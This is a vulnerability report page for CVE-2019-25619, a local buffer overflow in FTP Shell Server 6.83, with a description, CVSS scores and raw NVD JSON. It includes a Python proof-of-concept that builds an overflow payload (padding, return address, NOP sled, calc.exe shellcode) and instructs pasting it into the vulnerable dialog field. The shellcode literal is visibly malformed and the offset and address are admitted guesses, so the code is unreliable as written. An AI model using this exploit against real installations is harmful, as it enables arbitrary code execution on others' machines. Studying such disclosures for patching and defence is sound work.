Security Vulnerability Report
中文
CVE-2019-25619 CVSS 8.4 HIGH

CVE-2019-25619

Published: 2026-03-22 14:16:31
Last Modified: 2026-04-03 14:33:32

Description

FTP Shell Server 6.83 contains a buffer overflow vulnerability in the 'Account name to ban' field that allows local attackers to execute arbitrary code by supplying a crafted string. Attackers can inject shellcode through the account name parameter in the Manage FTP Accounts dialog to overwrite the return address and execute calc.exe or other commands.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ftpshell:ftpshell_server:6.83:*:*:*:*:*:*:* - VULNERABLE
FTP Shell Server 6.83

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2019-25619 # This script demonstrates the buffer overflow vulnerability in FTP Shell Server 6.83 # Target: 'Account name to ban' field in Manage FTP Accounts dialog import struct # Payload construction pattern: [Junk] + [Ret Addr] + [NOP Sled] + [Shellcode] # Offset to overwrite EIP (Example value, requires debugging to verify exact offset) offset = 4104 # Return address (Example: JMP ESP or POP POP RET) # This address varies based on OS version and loaded modules ret_addr = struct.pack('<L', 0x7C86467B) # NOP sled (No Operation) nop_sled = b'\x90' * 32 # Shellcode: Executes calc.exe (Windows) # This is a standard metasploit windows/exec calc payload shellcode = b"" \x31\xc9\x51\x68\x63\x61\x6c\x63\x54\xb8\xc7\x93\xc2\x77\xff\xd0\xb8\x90\x1e\xc2\x77\xff\xd0 """ # Construct the full payload payload = b'A' * offset + ret_addr + nop_sled + shellcode try: with open('CVE-2019-25619_PoC.txt', 'wb') as f: f.write(payload) print(f"[+] Payload generated successfully. Length: {len(payload)} bytes") print("[+] Copy the content of CVE-2019-25619_PoC.txt and paste it into the 'Account name to ban' field.") except Exception as e: print(f"[-] Error generating payload: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2019-25619", "sourceIdentifier": "[email protected]", "published": "2026-03-22T14:16:30.873", "lastModified": "2026-04-03T14:33:32.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FTP Shell Server 6.83 contains a buffer overflow vulnerability in the 'Account name to ban' field that allows local attackers to execute arbitrary code by supplying a crafted string. Attackers can inject shellcode through the account name parameter in the Manage FTP Accounts dialog to overwrite the return address and execute calc.exe or other commands."}, {"lang": "es", "value": "FTP Shell Server 6.83 contiene una vulnerabilidad de desbordamiento de búfer en el campo 'Account name to ban' que permite a atacantes locales ejecutar código arbitrario al proporcionar una cadena manipulada. Los atacantes pueden inyectar shellcode a través del parámetro de nombre de cuenta en el diálogo Manage FTP Accounts para sobrescribir la dirección de retorno y ejecutar calc.exe u otros comandos."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ftpshell:ftpshell_server:6.83:*:*:*:*:*:*:*", "matchCriteriaId": "B1CA14F8-D487-4555-B050-50FCED850F9A"}]}]}], "references": [{"url": "http://www.ftpshell.com/index.htm", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/46685", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/ftp-shell-server-buffer-overflow-via-account-name", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}